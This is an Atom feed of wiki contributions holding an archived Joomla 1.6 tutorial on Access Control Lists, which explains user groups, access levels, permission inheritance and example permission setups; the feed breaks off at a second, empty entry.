<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Robo1999</id>
	<title>Joomla! Documentation - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://docs.sandbox.joomla.org/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Robo1999"/>
	<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/Special:Contributions/Robo1999"/>
	<updated>2026-09-04T19:02:47Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.43.0</generator>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=60434</id>
		<title>Archived:Access Control List Tutorial</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=60434"/>
		<updated>2011-07-12T03:51:16Z</updated>

		<summary type="html">&lt;p&gt;Robo1999: /* Global Configuration */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=ACL Defined=&lt;br /&gt;
&lt;br /&gt;
;ACL or [http://en.wikipedia.org/wiki/Access_control_list Access Control List]&lt;br /&gt;
:According to Wikipedia, “An ACL specifies which users or system processes are granted access to  objects, as well as what operations are allowed to be performed on given objects.”&lt;br /&gt;
&lt;br /&gt;
In the case of Joomla!, we have two separate aspects to ACL.&lt;br /&gt;
# Which users can gain access to what parts of the website? For example, will a given menu choice be visible for a given user?&lt;br /&gt;
# What operations (or actions) a user can perform on any given object? For example, can a user submit or edit an article?&lt;br /&gt;
&lt;br /&gt;
=Overview of ACL in Version 1.6=&lt;br /&gt;
&lt;br /&gt;
This section outlines the major ACL changes between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
==Users, Groups, and Access Levels==&lt;br /&gt;
&lt;br /&gt;
With the definition in mind, let&#039;s look at how we set up the ACL for our site in version 1.6. The table below summarizes the major changes from version 1.5.&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups&lt;br /&gt;
| 7 fixed groups (Public, Registered, Author, Editor, Publisher, 			Manager, Administrator, and Super-Administrator)&lt;br /&gt;
| Unlimited user-defined Groups&lt;br /&gt;
|-&lt;br /&gt;
| Users &amp;amp; Groups&lt;br /&gt;
| A User can be assigned to only one group&lt;br /&gt;
| A User can be assigned to multiple groups&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels&lt;br /&gt;
| 3 fixed Access Levels (Public, Registered, Special)&lt;br /&gt;
| Unlimited user-defined Access Levels&lt;br /&gt;
|-&lt;br /&gt;
| Access Levels &amp;amp; Groups&lt;br /&gt;
| Relationship between Groups and Access Levels was fixed.&lt;br /&gt;
| Groups are assigned to Access Levels. Any combination of Groups 			can be assigned to any Access Level.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
We see that in every case the ACL has been made much more flexible, with unlimited Groups and Access Levels, and the ability to assign one User to multiple Groups and any Groups to any Access Level.&lt;br /&gt;
&lt;br /&gt;
==Actions, Groups, and Inheritance==&lt;br /&gt;
&lt;br /&gt;
The other side of ACL is granting permissions to users to take actions on objects. Here again there is a big change between Version 1.5 and 1.6. In 1.5, the actions allowed for a given group were fixed. For example, a User in the Author group could only submit an article whereas someone in the Publisher group could submit, edit, and publish articles. Also, in version 1.5 the permissions were all-or-nothing. A member of the Editor group could edit all articles on the site.&lt;br /&gt;
&lt;br /&gt;
The table below shows what has changed between versions 1.5 and 1.6.&lt;br /&gt;
&lt;br /&gt;
{| cellspacing=&amp;quot;0&amp;quot; cellpadding=&amp;quot;4&amp;quot; border=&amp;quot;1&amp;quot;&lt;br /&gt;
| &amp;lt;br /&amp;gt;&lt;br /&gt;
| Version 1.5&lt;br /&gt;
| Version 1.6&lt;br /&gt;
|-&lt;br /&gt;
| Groups and Actions&lt;br /&gt;
| Actions allowed by different groups are fixed.&lt;br /&gt;
| Actions allowed for each group are defined by site administrator.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Scope&lt;br /&gt;
| Entire Site. User has same permissions for all objects on the site.&lt;br /&gt;
| Permissions can be set at multiple levels in hierarchy: Site, Component, Category, Object.&lt;br /&gt;
|-&lt;br /&gt;
| Permission Inheritance&lt;br /&gt;
| Not applicable&lt;br /&gt;
| Permissions can be inherited from parent Groups and parent Categories&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==How Permissions Work==&lt;br /&gt;
&lt;br /&gt;
There are four possible permissions for actions, as outlined below:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Not set&#039;&#039;&#039;: Defaults to &amp;quot;deny&amp;quot; but, unlike the Deny permission, this permission can be overridden by setting a child group or a lower level in the permission hierarchy to &amp;quot;Allow&amp;quot;. This permission only applies to the Global Configuration permissions. &lt;br /&gt;
* &#039;&#039;&#039;Inherit&#039;&#039;&#039;: Inherits the value from a parent Group or from a higher level in the permission hierarchy. This permission applies to all levels except the Global Configuration level.&lt;br /&gt;
* &#039;&#039;&#039;Deny&#039;&#039;&#039;: Denies this action for this level and group. &#039;&#039;&#039;IMPORTANT:&#039;&#039;&#039; This also denies this action for all child groups and all lower levels in the permission hierarchy. Putting in Allow for a child group or a lower level will not have any effect. The action will always be denied for any child group member and for any lower level in the permission hierarchy.&lt;br /&gt;
* &#039;&#039;&#039;Allow&#039;&#039;&#039;: Allows this action for this level and group and for lower levels and child groups. This does not have any effect if a higher group or level is set to Deny or Allow. If a higher group or level is set to Deny, then this permission will always be denied. If a higher group or level is set to Allow, then this permission will already be allowed.&lt;br /&gt;
&lt;br /&gt;
==Permission Hierarchy Levels==&lt;br /&gt;
&lt;br /&gt;
Action permissions in version 1.6 can be defined at up to four levels, as follows:&lt;br /&gt;
# &#039;&#039;&#039;Global Configuration&#039;&#039;&#039;: determines the default permissions for each action and group. &lt;br /&gt;
# &#039;&#039;&#039;Component Options-&amp;gt;Permissions&#039;&#039;&#039;: can override the default permissions for this component (for example, Articles, Menus, Users, Banners, and so on)&lt;br /&gt;
# &#039;&#039;&#039;Category&#039;&#039;&#039;: can override the default permissions for objects in one or more categories. Applies to all components with categories, including Articles, Banners, Contacts, Newsfeeds, and Weblinks. &lt;br /&gt;
# &#039;&#039;&#039;Article&#039;&#039;&#039;: Can override the permissions for a specific article. This level only applies to articles. Other components only allow the first three levels.&lt;br /&gt;
&lt;br /&gt;
===Global Configuration===&lt;br /&gt;
This is accessed from Site &amp;amp;rarr; Global Configuration &amp;amp;rarr; Permissions. This screen allows you set the top-level permission for each group for each action, as shown in the screenshot below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-01.png|center]]&lt;br /&gt;
The options for each value are Inherited, Allowed, or Denied. The Calculated Setting column shows you the setting in effect. It is either Not Allowed (the default), Allowed, or Denied.&lt;br /&gt;
&lt;br /&gt;
You work on one Group at a time by opening the slider for that group. You change the permissions in the Select New Settings drop-down list boxes. &lt;br /&gt;
&lt;br /&gt;
Note that the Calculated Setting column is not updated until you press the Save button in the toolbar. To check that the settings are what you want, press the Save button and check the Calculated Settings column.&lt;br /&gt;
&lt;br /&gt;
===Component Options-&amp;gt;Permissions===&lt;br /&gt;
This is accessed for each component by clicking the Options icon in the toolbar. This screen is similar to the Global Configuration screen above. For example, clicking the Options toolbar icon in the Menu Manager shows the Menus Configuration below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-02.png|center]]&lt;br /&gt;
Access to Options is only available to members of groups who have permission for the Configure action in for each component. In the example above, the Administrator group has Allowed permission for the Configure option, so members of this group can access this screen.&lt;br /&gt;
&lt;br /&gt;
===Category===&lt;br /&gt;
Category permissions are accessed in the Category Manager: Edit Category screen, in a slider at the bottom of the screen. This screen has five permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-03.png|center]]&lt;br /&gt;
In these screens, you work on the permissions for one User Group at a time. In the example above, we are editing the permissions for the Administrator group.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure and Access Component actions do not apply at the category level, so those actions are not included.&lt;br /&gt;
&lt;br /&gt;
Note also that Categories can be arranged in a hierarchy. If so, then action permissions in a parent category are inherited automatically by a child category. For example, if you had a category hierarchy of Animals &amp;amp;rarr; Pets &amp;amp;rarr; Dogs, then the full permission level hierarchy for an article in the Dogs category would be as follows:&lt;br /&gt;
* Global Configuration&lt;br /&gt;
* Article Manager &amp;amp;rarr; Options &amp;amp;rarr; Permission&lt;br /&gt;
* Animals Category&lt;br /&gt;
* Pets Category&lt;br /&gt;
* Dogs Category&lt;br /&gt;
* specific article&lt;br /&gt;
&lt;br /&gt;
===Article===&lt;br /&gt;
Permissions for a single article are access in the Article Manager: Edit Article screen, again in a slider at the bottom of the screen. This screen has three actions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-04.png|center]]&lt;br /&gt;
Again, you edit each group by clicking on it to open the slider for that group. You can then change the permissions under the Select New Setting column. To see the effect of any changes, press the Save button to update the Calculated Setting column.&lt;br /&gt;
&lt;br /&gt;
Note that the Configure, Access Component, and Create actions do not apply at the article level, so these actions are not included. Permission to create an article is set at one of the higher levels in the hierarchy.&lt;br /&gt;
&lt;br /&gt;
==Access Levels==&lt;br /&gt;
&lt;br /&gt;
Access Levels in version 1.6 are simple and flexible. The screen below shows the Special Access Level.  &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-05.png|center]]&lt;br /&gt;
Simply check the box for each group you want included in that level. The Special Access Level includes the Manager, Author, and Super Users groups. It also includes child groups of those groups. So, Administrator group is included, since it is a child group of the Manager group. The Editor, Publisher, and Shop Suppliers groups are included, since they are child groups of Author. (Note that we could check all of the child groups if we wanted and it wouldn&#039;t hurt anything.)&lt;br /&gt;
&lt;br /&gt;
Once Access Levels are created, they are used in the same way as in version 1.5. Each object in the front end is assigned an Access Level. If the level is Public, then anyone may access that object. Otherwise, only members of groups assigned to that access level may access that object. Access levels are assigned to Menu Items and to Modules. Each one can only be assigned to one access level.&lt;br /&gt;
&lt;br /&gt;
For example, the screen below shows the Edit Menu Item screen with the list of available access levels.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-06.png|center]]&lt;br /&gt;
&lt;br /&gt;
=Default ACL Setup=&lt;br /&gt;
&lt;br /&gt;
When Joomla! is installed, these are set to their initial default settings. We will discuss these initial settings as a way to understand how the ACL works.&lt;br /&gt;
&lt;br /&gt;
==Default Groups==&lt;br /&gt;
&lt;br /&gt;
Version 1.6 allows you to define your own Groups. When you install version 1.6, it includes a set of default groups, as shown below. &lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-07.png|center]]&lt;br /&gt;
&lt;br /&gt;
The arrows indicate the child-parent relationships. As discussed above, when you set a permission for a parent group, this permission is automatically inherited by all child groups. The Inherited, and Allowed permissions can be overridden for a child group. The Denied permission cannot be overridden and will always deny an action for all child groups.&lt;br /&gt;
&lt;br /&gt;
==Global Configuration==&lt;br /&gt;
&lt;br /&gt;
Joomla! version 1.6 will install with the same familiar back-end permissions as that of version 1.5. However, with 1.6, you can easily change these to suit the needs of your site.&lt;br /&gt;
&lt;br /&gt;
As discussed earlier, the permissions for each action are inherited from the level above in the permission hierarchy and from a group&#039;s parent group. Let&#039;s see how this works. The top level for this is the entire site. This is set up in the Site-&amp;gt;Global Configuration-&amp;gt;Permissions, as shown below.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-08.png|center|]]&lt;br /&gt;
&lt;br /&gt;
The first thing to notice are the nine Actions: Site Login, Admin Login, Super Admin, Access Component, Create, Delete, Edit, Edit State. and Edit Own. These are the actions that a user can perform on an object in Joomla. The specific meaning of each action depends on the context. For the Global Configuration screen, they are defined as follows:&lt;br /&gt;
&lt;br /&gt;
;Site Login : Login to the front end of the site&lt;br /&gt;
&lt;br /&gt;
;Admin Login : Login to the back end of the site&lt;br /&gt;
&lt;br /&gt;
; Super Admin : Grants the user &amp;quot;super user&amp;quot; status. Users with this permission can do anything on the site. Only users with this permission can change Global Configuration settings (this screen). These permissions cannot be restricted. It is important to understand that, if a user is a member of a Super Admin group, any other permissions assigned to this user are irrelevant. The user can do any action on the site. However, Access Levels can still be assigned to control what this group sees on the site. (Obviously, a Super Admin user can change Access Levels if they want to, so Access Levels do not totally restrict what a Super Admin user can see.)&lt;br /&gt;
&lt;br /&gt;
;Access Component: Open the component manager screens (User Manager, Menu Manager, Article Manager, and so on)&lt;br /&gt;
&lt;br /&gt;
;Create : Create new objects (for example, users, menu items, articles, weblinks, and so on)&lt;br /&gt;
&lt;br /&gt;
;Delete : Delete existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit : Edit existing objects&lt;br /&gt;
&lt;br /&gt;
;Edit State : Change object state (Publish, Unpublish, Archive, and Trash)&lt;br /&gt;
&lt;br /&gt;
;Edit Own : Edit objects that you have created. &lt;br /&gt;
&lt;br /&gt;
Each Group for the site has its own slider which is opened by clicking on the group name. In this case (with the sample data installed), we have the standard 7 groups that we had in version 1.5 plus two additional groups called &amp;quot;Shop Suppliers&amp;quot; and &amp;quot;Customer Group&amp;quot;. Notice that our groups are set up with the same permissions as they had in version 1.5. Keep in mind that we can change any of these permissions to make the security work the way we want. Let&#039;s go through this to see how it works.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Public&#039;&#039;&#039; has everything set to &amp;quot;Not set&amp;quot;, as shown below. &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-06.png|center|]]&lt;br /&gt;
: This can be a bit confusing. Basically, &amp;quot;Not Set&amp;quot; is the same as &amp;quot;Inherited&amp;quot;. Because Public is our top-level group, and because Global Configuration is the top level of the component hierarchy, there is nothing to inherit from. So &amp;quot;Not Set&amp;quot; is used instead of &amp;quot;Inherit&amp;quot;.  &lt;br /&gt;
: The default in this case is for no permissions. So, as you would expect, the Public group has no special  permissions. Also, it is important to note that, since nothing is set to Denied, all of these permissions may be overridden by child groups or by lower levels in the permission hierarchy.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Manager&#039;&#039;&#039;  is a &amp;quot;child&amp;quot; group of the Public group. It has Allowed permissions for everything except Access Component and Super Admin. So a member of this group can do everything in the front and back end of the site except change Global Permissions and Component Options. &lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Administrator&#039;&#039;&#039;  group members inherit all of the Manager permissions and also have Allowed for Access Component. So members of this group by default can access the Options screens for each component.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Registered&#039;&#039;&#039; is the same a Public except for the Allow permission for the Site Login action. This means that members of the Registered group can login to the site. Since default permissions are inherited, this means that, unless a child group overrides this permission, all child groups of the Registered group will be able to login as well.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Author&#039;&#039;&#039;  is a child of the Registered group and inherits its permissions and also adds Create and Edit Own. Since Author, Editor, and Publisher have no back-end permissions, we will discuss them below, when we discuss front-end permissions.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Editor&#039;&#039;&#039; is a child of the Authors group and adds the Edit permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Publisher&#039;&#039;&#039; is a child of Editor and adds the Edit State permission.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Shop Suppliers&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Author.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Customer Group&#039;&#039;&#039; is an example group that is installed if you install the sample data. It is a child group of Registered.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Super Users&#039;&#039;&#039; group has the Allow permission for the Super Admin action. Because of this, members of this group have super user permissions throughout the site. They are the only users who can access and edit values on the Global Configuration screen. Users with permission for the Super Admin action have some special characteristics:&lt;br /&gt;
** If a user has Super Admin permissions, no other permissions for this user matter. The user can perform any action on the site.&lt;br /&gt;
** Only Super Admin users can create, edit, or delete other Super Admin users or groups.&lt;br /&gt;
&lt;br /&gt;
There are two very important points to understand from this screen. The first is to see how the permissions can be inherited from the parent Group. The second is to see how you can control the default permissions by Group and by Action.&lt;br /&gt;
&lt;br /&gt;
This provides a lot of flexibility. For example, if you wanted Shop Suppliers to be able to have the ability to login to the back end, you could just change their Admin Login value to &amp;quot;Allowed&amp;quot;. If you wanted to not allow members of Administrator group to delete objects or change their state, you would change their permissions in these columns to Inherited (or Denied).&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that the ability to have child groups is completely optional. It allows you to save some time when setting up new groups. However, if you like, you can set up all groups to have Public as the parent and not inherit any permissions from a parent group.&lt;br /&gt;
&lt;br /&gt;
==Component Options &amp;amp; Permissions==&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s continue to see how the default back-end permissions for version 1.6 mimic the permissions for version 1.5. The Super Users group in 1.6 is equivalent to the Super Administrator group in 1.5.&lt;br /&gt;
&lt;br /&gt;
Just looking at the Global Configuration screen above, it would appear that the Administrator group and the Manager group have identical permissions. However, in version 1.5 Administrators can do everything except Global Configuration, whereas Managers are not permitted to add users or work with menu items. That is also true in the default version 1.6 configuration. Let&#039;s see how this is accomplished.&lt;br /&gt;
&lt;br /&gt;
If we navigate to Users-&amp;gt;User Manager and click the Options button in the toolbar, we see the screen below:&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-09.png|center|]]&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-10.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This screen is the same as the Global Configuration Permissions screen, except that these values only affect working with Users. Let&#039;s look at how this works.&lt;br /&gt;
&lt;br /&gt;
First, notice that the Administrator group has Allow permission for the Admin action and the Manager group has Deny permission for this action. Remember that the Admin action in the Global Configuration screen gives the group &amp;quot;super user&amp;quot; permissions. In this screen, the Admin action allows you to edit the Options values. So, the Administrator group can do this but the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
Next, notice that the Administrator has Inherit for the Manage action and the Manager group has Deny permission. In this screen, the Manage action gives a group access to the User Manager. Since the Administrator has Allow for the Manage action by default, then the Inherit permission here means they inherit the Allow permission for the Manage action. Since the Manager group has Deny permission for the Manage action, members of the Manager group cannot access the User Manager and therefore cannot do any of the other user-related actions.&lt;br /&gt;
&lt;br /&gt;
If you look at the Options for Menus-&amp;gt;Menu Manager, you will see the same default settings as for the User Manager. Again, the Administrator group can manage and set default permissions for Menu Manager objects whereas the Manager group cannot.&lt;br /&gt;
&lt;br /&gt;
In short, we can see that the different permissions for the Administrator and Manager groups are set using the Options-&amp;gt;Permissions forms on the User Manager and Menu Manager screens.&lt;br /&gt;
&lt;br /&gt;
It is also important to understand that this same Options-&amp;gt;Permissions form for setting default permissions is available for all Joomla! objects, including Media Manager, Banners, Contacts, Newsfeeds, Redirect, Search Statistics, Web Links, Extensions, Modules, Plugins, Templates, and Language. So you now have the option to create user groups with fine-tuned sets of back-end permissions.&lt;br /&gt;
&lt;br /&gt;
==Front End Permissions==&lt;br /&gt;
&lt;br /&gt;
Default permissions for the front end are also set using the Options form. Let&#039;s look at Content-&amp;gt;Article Manager-&amp;gt;Options-&amp;gt;Permissions. First, let&#039;s look at the permissions for Manager, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-11a.png|center|frame]]&lt;br /&gt;
Manager has allowed permission for all actions except Configure. So members of the Manager group can do everything with Articles except open the Options screen.&lt;br /&gt;
&lt;br /&gt;
Now let&#039;s look at Administrator, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-12a.png|center|frame]]&lt;br /&gt;
Administrator has Allowed for Configure, so Administrators can edit this Options screen.&lt;br /&gt;
&lt;br /&gt;
Both groups can create, delete, edit, and change the state of articles.&lt;br /&gt;
&lt;br /&gt;
Now, let&#039;s look at the groups Publisher, Editor, and Author and see how their permissions are set. &lt;br /&gt;
&lt;br /&gt;
Authors only have Create and Edit Own permissions, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-07.png|center|frame]]&lt;br /&gt;
This means that Authors can create articles and can edit articles they have created. They may not delete articles, change the published state of articles, or edit articles created by others.&lt;br /&gt;
&lt;br /&gt;
Editors have the same permissions as Authors with the addition of permission for the Edit action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-08.png|center|frame]]&lt;br /&gt;
So Editors can edit articles written by anyone.&lt;br /&gt;
&lt;br /&gt;
Publishers can do everything Editors can do plus they have permission for the Edit State action, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-09.png|center|frame]]&lt;br /&gt;
So Publishers can change the published state of an article. The possible states include Published, Unpublished, Archived, and Trashed.&lt;br /&gt;
&lt;br /&gt;
All of these groups have Inherit permission for Configure and Access Component. Remember that Author is a child of the Registered group, and Registered does not have any default permissions except for Login. Since Registered does not have permission for Configure and Access Component, and since Author&#039;s permission for these actions is &amp;quot;Inherited&amp;quot;, then Author does not have these permissions either. This same permission is passed from Author to Editor and from Editor to Publisher. So, by default, none of these groups are allowed to work with articles in the back end.&lt;br /&gt;
&lt;br /&gt;
It is important to remember that these permissions are only default settings for categories and articles and for any child groups that are created. So they can be overridden for child groups, for categories, and for specific articles. &lt;br /&gt;
&lt;br /&gt;
Also, note that there are no Denied permissions for any actions in the default settings. This allows you to add Allowed permissions at any level. Remember, once you have an action set for Denied, this action will be denied at all lower levels in the hierarchy. For example, if you set the Admin Login for Registered to Denied (instead of Inherited), you could not grant Publishers Allowed permissions for this action.&lt;br /&gt;
&lt;br /&gt;
== Article Manager &amp;amp; Actions Diagram ==&lt;br /&gt;
&lt;br /&gt;
The diagram below shows how each action in the permissions form relates to the various options on the Article Manager screen.&lt;br /&gt;
&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110111-16.png|center|]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Configure&#039;&#039;&#039; allows you to view and change the Options for the component.&lt;br /&gt;
* &#039;&#039;&#039;Access Component&#039;&#039;&#039; allows you to navigate to the Article Manager. Without this permission, no other actions are possible.&lt;br /&gt;
* &#039;&#039;&#039;Create&#039;&#039;&#039; allows you to add new articles.&lt;br /&gt;
* &#039;&#039;&#039;Delete&#039;&#039;&#039; allows you to delete trashed articles. Note that the Delete icon only shows in the toolbar when you have the &amp;quot;Select State&amp;quot; filter set to &amp;quot;Trash&amp;quot;.&lt;br /&gt;
* &#039;&#039;&#039;Edit&#039;&#039;&#039; allows you to edit existing articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit State&#039;&#039;&#039; allows to you Publish, Unpublish, Archive, or Trash articles.&lt;br /&gt;
* &#039;&#039;&#039;Edit Own&#039;&#039;&#039; is the same as Edit except that it only applies to articles written by you.&lt;br /&gt;
&lt;br /&gt;
=Allowing Guest-Only Access to Menu Items and Modules=&lt;br /&gt;
&lt;br /&gt;
Version 1.6 introduces the ability to create a View Access Level that is only for guests of the site (meaning a user who is not logged in). The example below shows how you can set up this new feature.&lt;br /&gt;
&lt;br /&gt;
#Create a new user group called Guest. Make it a child of the Public group as shown below. [[Image:screenshot_acl_tutorial_20110112-01.png|center|frame]] &lt;br /&gt;
# Create a new access level called Guest and grant only the Guest group access to this level, as shown below.[[Image:screenshot_acl_tutorial_20110112-02.png|center|frame]]&lt;br /&gt;
# Edit the Public access level and add the Guest group to it, as shown below.[[Image:screenshot_acl_tutorial_20110112-03.png|center|frame]]&lt;br /&gt;
# Navigate to User Manager&amp;amp;rarr;Options&amp;amp;rarr;Component and change the Guest User Group from the default value of &amp;quot;Public&amp;quot; to &amp;quot;Guest&amp;quot;, as shown below.&lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-04.png|center|frame]]&lt;br /&gt;
&lt;br /&gt;
Now, if we assign a menu item, module, or other object to the Guest access level, only non-logged in users will have access. For example, if we create a new menu item with access level of Guest, as shown below, &lt;br /&gt;
[[Image:screenshot_acl_tutorial_20110112-05.png|center|frame]]&lt;br /&gt;
this menu item will only be visible to non-logged-in visitors to the site.  Login/logout in frontend (for changing data in session) to see the change.&lt;br /&gt;
&lt;br /&gt;
=Using Permission and Group Levels Together=&lt;br /&gt;
&lt;br /&gt;
As discussed above, it is possible to define groups in a hierarchy, where each child group inherits action permissions (for example, the create permission) from its parent group. Action permissions are also be inherited from the permission level above. For example, a permission in the Article Manager is inherited from the same permission in the Global Configuration, and a permission in a child Category is inherited from the parent Category permission.&lt;br /&gt;
&lt;br /&gt;
This dual inheritance can be confusing, but it can also be useful. Let&#039;s consider an example as follows. We have a school with a group hierarchy of Teachers → History Teachers → Assistant History Teachers. We also have a category hierarchy of Assignments → History Assignments. We want History Teachers and Assistant History Teachers to have the following permissions:&lt;br /&gt;
&lt;br /&gt;
* both groups can create new articles only in the History Assignments category.&lt;br /&gt;
&lt;br /&gt;
* only History Teachers (not Assistant History Teachers) can Publish or otherwise have Edit State permission.&lt;br /&gt;
&lt;br /&gt;
This ACL scheme is very easy to implement. The diagram below shows how this would be set up for the Create Action.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram1 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
In the diagram, the Permission Hierarchy is shown down the left side and the Group hierarchy is shown across the top. Permissions are inherited down and to the right, as shown by the arrows. To implement the desired permissions, we leave the Global Configuration blank (Not Set) for all three groups. Similarly, in the Article Manager and Assignments Category, we leave the Create permission to Inherit for all the groups. As shown in the diagram, this means that these groups do not have Create permission for articles in general or for articles in the Assignments group.&lt;br /&gt;
&lt;br /&gt;
To sum up so far, we have not set any special permissions to get to this point. Now, in the History Assignments category permissions screen, we set the Create permission to Allow for the History Teachers group. This setting overrides the Soft (Implicit) Deny that we had by default and gives members of this group permission to create content (articles and child categories) for this category. This Allow setting also is inherited by the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
Next, we need to grant History Teachers the Edit State permission while denying this permission to Assistant History Teachers. This is done as shown in the diagram below.&lt;br /&gt;
&lt;br /&gt;
[[Image:Acl example diagram2 20091018.png|center|]]&lt;br /&gt;
&lt;br /&gt;
This configuration is the same as the one above except that this time we set the Edit State permission in the History Assignments category to Deny for the Assistant History Teachers group. This means that Assistant History Teachers will not be able to Publish or Unpublish articles in this category.&lt;br /&gt;
&lt;br /&gt;
Note that this was accomplished by setting just two permissions in the History Assignments category: Allow for the History Teachers group and Deny for the Assistant History Teachers group.&lt;br /&gt;
&lt;br /&gt;
=ACL Examples=&lt;br /&gt;
Here are some examples of how you might set up the ACL for some specific situations.&lt;br /&gt;
&lt;br /&gt;
==Back-end Article Administrator==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Problem:&#039;&#039;&#039; &lt;br /&gt;
&lt;br /&gt;
We want to create a group called &amp;quot;Article Administrator&amp;quot; with back-end permissions only for articles and not for any other back-end menu options. Members of this group should be able to use all of the features of the article manager, including setting article permissions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Solution:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Create a new group called Article Administrator and make its parent group Public, as shown below.[[Image:screenshot_acl_tutorial_20110112-10.png|center|frame]] Because its parent group is Public, it won&#039;t have any permissions by default.&lt;br /&gt;
# In Users &amp;amp;rarr; Access Levels, edit the Special Access level to add the new group. That way they can get access to the back end menu items and modules.[[Image:screenshot_acl_tutorial_20110112-11.png|center|frame]] By default, the back-end menu items and modules are set to Special access, so if you forget to add the new group to the Special access level, you won&#039;t see any modules or menu items when you log in as a user of the new group.&lt;br /&gt;
# In Site →  Global Configuration → Permissions, click on the Article Administrator group and change the permissions to Allowed for the following actions: Admin Login, Create, Delete, Edit, Edit State, and Edit Own. The screen below shows what will show before you press Save. [[Image:screenshot_acl_tutorial_20110112-12.png|center|frame]]After you save, the Calculated Permissions should show as shown below.[[Image:screenshot_acl_tutorial_20110112-13.png|center|frame]]Note that the permission for the Access Component is Inherited, which translates to Not Allowed. This is important. This means that this group will only be able to access components if we give the group &amp;quot;Allowed&amp;quot; permission for Access Component. So we only have to change the one component we want to give them access to and don&#039;t have to change any settings for the components where we don&#039;t want them to have access. If we had a case where we wanted to give a group access to everything except for one component, we could set the default to Allowed and then set the one component to Denied. Also note that we did not give the group Site Login permission, so users in this group will not be able to log into the front end. (If we wanted to allow that, we would just change the permission to Allowed for Site Login.)&lt;br /&gt;
# In Article Manager → Options → Permissions, change permissions to Allowed for this group for the Access Component action, as shown below.[[Image:screenshot_acl_tutorial_20110112-14.png|center|frame]]All of the other desired permissions are inherited.&lt;br /&gt;
&lt;br /&gt;
That&#039;s all you need to do. Members of this group can login to the back end and do everything in Article Manager but can&#039;t do anything else in the back end. For example, the screen below shows what a user in the Article Manager will see when they login to the back end.[[Image:screenshot_acl_tutorial_20110112-15.png|center|frame]]&lt;br /&gt;
[[Category:Joomla! 1.6]] [[Category:Tutorials]][[Category:Access Control]][[Category:Access Management]]&lt;/div&gt;</summary>
		<author><name>Robo1999</name></author>
	</entry>
	<entry>
		<id>https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=60433</id>
		<title>Archived:Access Control List Tutorial</title>
		<link rel="alternate" type="text/html" href="https://docs.sandbox.joomla.org/index.php?title=Archived:Access_Control_List_Tutorial&amp;diff=60433"/>
		<updated>2011-07-12T03:41:45Z</updated>

		<summary type="html">&lt;p&gt;Robo1999: /* Global Configuration */&lt;/p&gt;
&lt;hr /&gt;
